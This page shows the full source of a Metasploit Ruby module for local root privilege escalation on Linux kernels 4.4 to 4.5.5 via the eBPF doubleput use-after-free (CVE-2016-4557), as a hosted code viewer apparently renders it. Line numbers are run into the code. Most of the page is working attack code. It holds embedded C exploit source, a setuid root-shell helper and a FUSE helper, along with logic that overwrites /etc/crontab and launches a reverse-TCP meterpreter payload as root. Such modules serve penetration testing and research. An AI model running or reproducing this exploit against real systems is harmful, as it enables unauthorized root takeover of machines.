Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/bpf_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Post::Linux::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Linux BPF doubleput UAF Privilege Escalation',21'Description' => %q{22Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)23does not properly reference count file descriptors, resulting24in a use-after-free, which can be abused to escalate privileges.2526The target system must be compiled with `CONFIG_BPF_SYSCALL`27and must not have `kernel.unprivileged_bpf_disabled` set to 1.2829Note, this module will overwrite the first few lines30of `/etc/crontab` with a new cron job. The job will31need to be manually removed.3233This module has been tested successfully on Ubuntu 16.04 (x64)34kernel 4.4.0-21-generic (default kernel).35},36'License' => MSF_LICENSE,37'Author' => [38'[email protected]', # discovery and exploit39'h00die <[email protected]>' # metasploit module40],41'Platform' => ['linux'],42'Arch' => [ARCH_X86, ARCH_X64],43'SessionTypes' => ['shell', 'meterpreter'],44'DisclosureDate' => '2016-05-04',45'Privileged' => true,46'References' => [47['BID', '90309'],48['CVE', '2016-4557'],49['EDB', '39772'],50['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],51['URL', 'https://usn.ubuntu.com/2965-1/'],52['URL', 'https://launchpad.net/bugs/1578705'],53['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],54['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],55['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']56],57'Targets' => [58[ 'Linux x86', { 'Arch' => ARCH_X86 } ],59[ 'Linux x64', { 'Arch' => ARCH_X64 } ]60],61'DefaultOptions' => {62'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',63'PrependFork' => true,64'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through65},66'Notes' => {67'AKA' =>68[69'double-fdput',70'doubleput.c'71]72},73'DefaultTarget' => 1,74'Compat' => {75'Meterpreter' => {76'Commands' => %w[77stdapi_fs_delete_file78stdapi_sys_process_execute79]80}81}82)83)84register_options [85OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),86OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])87]88register_advanced_options [89OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),90]91end9293def base_dir94datastore['WritableDir'].to_s95end9697def exploit_data(file)98::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)99end100101def upload(path, data)102print_status "Writing '#{path}' (#{data.size} bytes) ..."103rm_f path104write_file path, data105register_file_for_cleanup path106end107108def upload_and_chmodx(path, data)109upload path, data110chmod path111end112113def live_compile?114return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')115116return true if has_prereqs?117118unless datastore['COMPILE'].eql? 'Auto'119fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'120end121end122123def has_prereqs?124def check_libfuse_dev?125lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')126if lib.include?('install')127vprint_good('libfuse-dev is installed')128return true129else130print_error('libfuse-dev is not installed. Compiling will fail.')131return false132end133end134135def check_gcc?136if has_gcc?137vprint_good('gcc is installed')138return true139else140print_error('gcc is not installed. Compiling will fail.')141return false142end143end144145def check_pkgconfig?146lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')147if lib.include?('install')148vprint_good('pkg-config is installed')149return true150else151print_error('pkg-config is not installed. Exploitation will fail.')152return false153end154end155156return check_libfuse_dev? && check_gcc? && check_pkgconfig?157end158159def upload_and_compile(path, data, gcc_args = '')160upload "#{path}.c", data161162gcc_cmd = "gcc -o #{path} #{path}.c"163if session.type.eql? 'shell'164gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"165end166167unless gcc_args.to_s.blank?168gcc_cmd << " #{gcc_args}"169end170171output = cmd_exec gcc_cmd172173unless output.blank?174print_error output175fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."176end177178register_file_for_cleanup path179chmod path180end181182def check183release = kernel_release184version = kernel_version185186if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||187Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')188vprint_error "Kernel version #{release} #{version} is not vulnerable"189return CheckCode::Safe190end191192if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/193if $1.to_i > 21194vprint_error "Kernel version #{release} is not vulnerable"195return CheckCode::Safe196end197end198vprint_good "Kernel version #{release} #{version} appears to be vulnerable"199200lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s201unless lib.include?('install')202print_error('fuse package is not installed. Exploitation will fail.')203return CheckCode::Safe204end205vprint_good('fuse package is installed')206207fuse_mount = "#{base_dir}/fuse_mount"208if directory? fuse_mount209vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")210return CheckCode::Safe211end212vprint_good("#{fuse_mount} doesn't exist")213214config = kernel_config215216if config.nil?217vprint_error 'Could not retrieve kernel config'218return CheckCode::Unknown219end220221unless config.include? 'CONFIG_BPF_SYSCALL=y'222vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'223return CheckCode::Safe224end225vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'226227if unprivileged_bpf_disabled?228vprint_error 'Unprivileged BPF loading is not permitted'229return CheckCode::Safe230end231vprint_good 'Unprivileged BPF loading is permitted'232233CheckCode::Appears234end235236def exploit237if !datastore['ForceExploit'] && is_root?238fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')239end240241unless writable? base_dir242fail_with Failure::BadConfig, "#{base_dir} is not writable"243end244245if nosuid? base_dir246fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"247end248249doubleput = %q{250#define _GNU_SOURCE251#include <stdbool.h>252#include <errno.h>253#include <err.h>254#include <unistd.h>255#include <fcntl.h>256#include <sched.h>257#include <signal.h>258#include <stdlib.h>259#include <stdio.h>260#include <string.h>261#include <sys/types.h>262#include <sys/stat.h>263#include <sys/syscall.h>264#include <sys/prctl.h>265#include <sys/uio.h>266#include <sys/mman.h>267#include <sys/wait.h>268#include <linux/bpf.h>269#include <linux/kcmp.h>270271#ifndef __NR_bpf272# if defined(__i386__)273# define __NR_bpf 357274# elif defined(__x86_64__)275# define __NR_bpf 321276# elif defined(__aarch64__)277# define __NR_bpf 280278# else279# error280# endif281#endif282283int uaf_fd;284285int task_b(void *p) {286/* step 2: start writev with slow IOV, raising the refcount to 2 */287char *cwd = get_current_dir_name();288char data[2048];289sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);290struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };291if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))292errx(1, "system() failed");293int fuse_fd = open("fuse_mount/hello", O_RDWR);294if (fuse_fd == -1)295err(1, "unable to open FUSE fd");296if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))297errx(1, "unable to write to FUSE fd");298struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);299if (iov_ == MAP_FAILED)300err(1, "unable to mmap FUSE fd");301fputs("starting writev\n", stderr);302ssize_t writev_res = writev(uaf_fd, iov_, 1);303/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */304if (writev_res == -1)305err(1, "writev failed");306if (writev_res != strlen(data))307errx(1, "writev returned %d", (int)writev_res);308fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);309while (1) sleep(1); /* whatever, just don't crash */310}311312void make_setuid(void) {313/* step 1: open writable UAF fd */314uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);315if (uaf_fd == -1)316err(1, "unable to open UAF fd");317/* refcount is now 1 */318319char child_stack[20000];320int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);321if (child == -1)322err(1, "clone");323sleep(3);324/* refcount is now 2 */325326/* step 2+3: use BPF to remove two references */327for (int i=0; i<2; i++) {328struct bpf_insn insns[2] = {329{330.code = BPF_LD | BPF_IMM | BPF_DW,331.src_reg = BPF_PSEUDO_MAP_FD,332.imm = uaf_fd333},334{335}336};337union bpf_attr attr = {338.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,339.insn_cnt = 2,340.insns = (__aligned_u64) insns,341.license = (__aligned_u64)""342};343if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)344errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");345if (errno != EINVAL)346err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");347}348/* refcount is now 0, the file is freed soon-ish */349350/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */351int status;352int hostnamefds[1000];353int used_fds = 0;354bool up = true;355while (1) {356if (waitpid(child, &status, WNOHANG) == child)357errx(1, "child quit before we got a good file*");358if (up) {359hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);360if (hostnamefds[used_fds] == -1)361err(1, "open target file");362if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;363used_fds++;364if (used_fds == 1000) up = false;365} else {366close(hostnamefds[--used_fds]);367if (used_fds == 0) up = true;368}369}370fputs("woohoo, got pointer reuse\n", stderr);371while (1) sleep(1); /* whatever, just don't crash */372}373374int main(void) {375pid_t child = fork();376if (child == -1)377err(1, "fork");378if (child == 0)379make_setuid();380struct stat helperstat;381while (1) {382if (stat("suidhelper", &helperstat))383err(1, "stat suidhelper");384if (helperstat.st_mode & S_ISUID)385break;386sleep(1);387}388fputs("suid file detected, launching rootshell...\n", stderr);389execl("./suidhelper", "suidhelper", NULL);390err(1, "execl suidhelper");391}392}393394suid_helper = %q{395#include <unistd.h>396#include <err.h>397#include <stdio.h>398#include <sys/types.h>399400int main(void) {401if (setuid(0) || setgid(0))402err(1, "setuid/setgid");403fputs("we have root privs now...\n", stderr);404execl("/bin/bash", "bash", NULL);405err(1, "execl");406}407408}409410hello = %q{411/*412FUSE: Filesystem in Userspace413Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>414heavily modified by Jann Horn <[email protected]>415416This program can be distributed under the terms of the GNU GPL.417See the file COPYING.418419gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello420*/421422#define FUSE_USE_VERSION 26423424#include <fuse.h>425#include <stdio.h>426#include <string.h>427#include <errno.h>428#include <fcntl.h>429#include <unistd.h>430#include <err.h>431#include <sys/uio.h>432433static const char *hello_path = "/hello";434435static char data_state[sizeof(struct iovec)];436437static int hello_getattr(const char *path, struct stat *stbuf)438{439int res = 0;440memset(stbuf, 0, sizeof(struct stat));441if (strcmp(path, "/") == 0) {442stbuf->st_mode = S_IFDIR | 0755;443stbuf->st_nlink = 2;444} else if (strcmp(path, hello_path) == 0) {445stbuf->st_mode = S_IFREG | 0666;446stbuf->st_nlink = 1;447stbuf->st_size = sizeof(data_state);448stbuf->st_blocks = 0;449} else450res = -ENOENT;451return res;452}453454static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {455filler(buf, ".", NULL, 0);456filler(buf, "..", NULL, 0);457filler(buf, hello_path + 1, NULL, 0);458return 0;459}460461static int hello_open(const char *path, struct fuse_file_info *fi) {462return 0;463}464465static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {466sleep(10);467size_t len = sizeof(data_state);468if (offset < len) {469if (offset + size > len)470size = len - offset;471memcpy(buf, data_state + offset, size);472} else473size = 0;474return size;475}476477static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {478if (offset != 0)479errx(1, "got write with nonzero offset");480if (size != sizeof(data_state))481errx(1, "got write with size %d", (int)size);482memcpy(data_state + offset, buf, size);483return size;484}485486static struct fuse_operations hello_oper = {487.getattr = hello_getattr,488.readdir = hello_readdir,489.open = hello_open,490.read = hello_read,491.write = hello_write,492};493494int main(int argc, char *argv[]) {495return fuse_main(argc, argv, &hello_oper, NULL);496}497}498499@hello_name = 'hello'500hello_path = "#{base_dir}/#{@hello_name}"501@doubleput_name = 'doubleput'502doubleput_path = "#{base_dir}/#{@doubleput_name}"503@suidhelper_path = "#{base_dir}/suidhelper"504payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"505506if live_compile?507vprint_status 'Live compiling exploit on system...'508509upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')510upload_and_compile(doubleput_path, doubleput, '-Wall')511upload_and_compile(@suidhelper_path, suid_helper, '-Wall')512else513vprint_status 'Dropping pre-compiled exploit on system...'514515upload_and_chmodx(hello_path, exploit_data('hello'))516upload_and_chmodx(doubleput_path, exploit_data('doubleput'))517upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))518end519520vprint_status 'Uploading payload...'521upload_and_chmodx(payload_path, generate_payload_exe)522523print_status('Launching exploit. This may take up to 120 seconds.')524print_warning('This module adds a job to /etc/crontab which requires manual removal!')525526register_dir_for_cleanup "#{base_dir}/fuse_mount"527cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "528sec_waited = 0529until sec_waited > datastore['MAXWAIT'] do530Rex.sleep(5)531# check file permissions532if setuid? @suidhelper_path533print_good("Success! set-uid root #{@suidhelper_path}")534cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "535return536end537sec_waited += 5538end539print_error "Failed to set-uid root #{@suidhelper_path}"540end541542def cleanup543cmd_exec "killall #{@hello_name}"544cmd_exec "killall #{@doubleput_name}"545ensure546super547end548549def on_new_session(session)550# remove root owned SUID executable and kill running exploit processes551if session.type.eql? 'meterpreter'552session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'553session.fs.file.rm @suidhelper_path554session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"555session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"556session.fs.file.rm "#{base_dir}/fuse_mount"557else558session.shell_command_token "rm -f '#{@suidhelper_path}'"559session.shell_command_token "killall #{@doubleput_name}"560session.shell_command_token "killall #{@hello_name}"561session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"562end563ensure564super565end566end567568569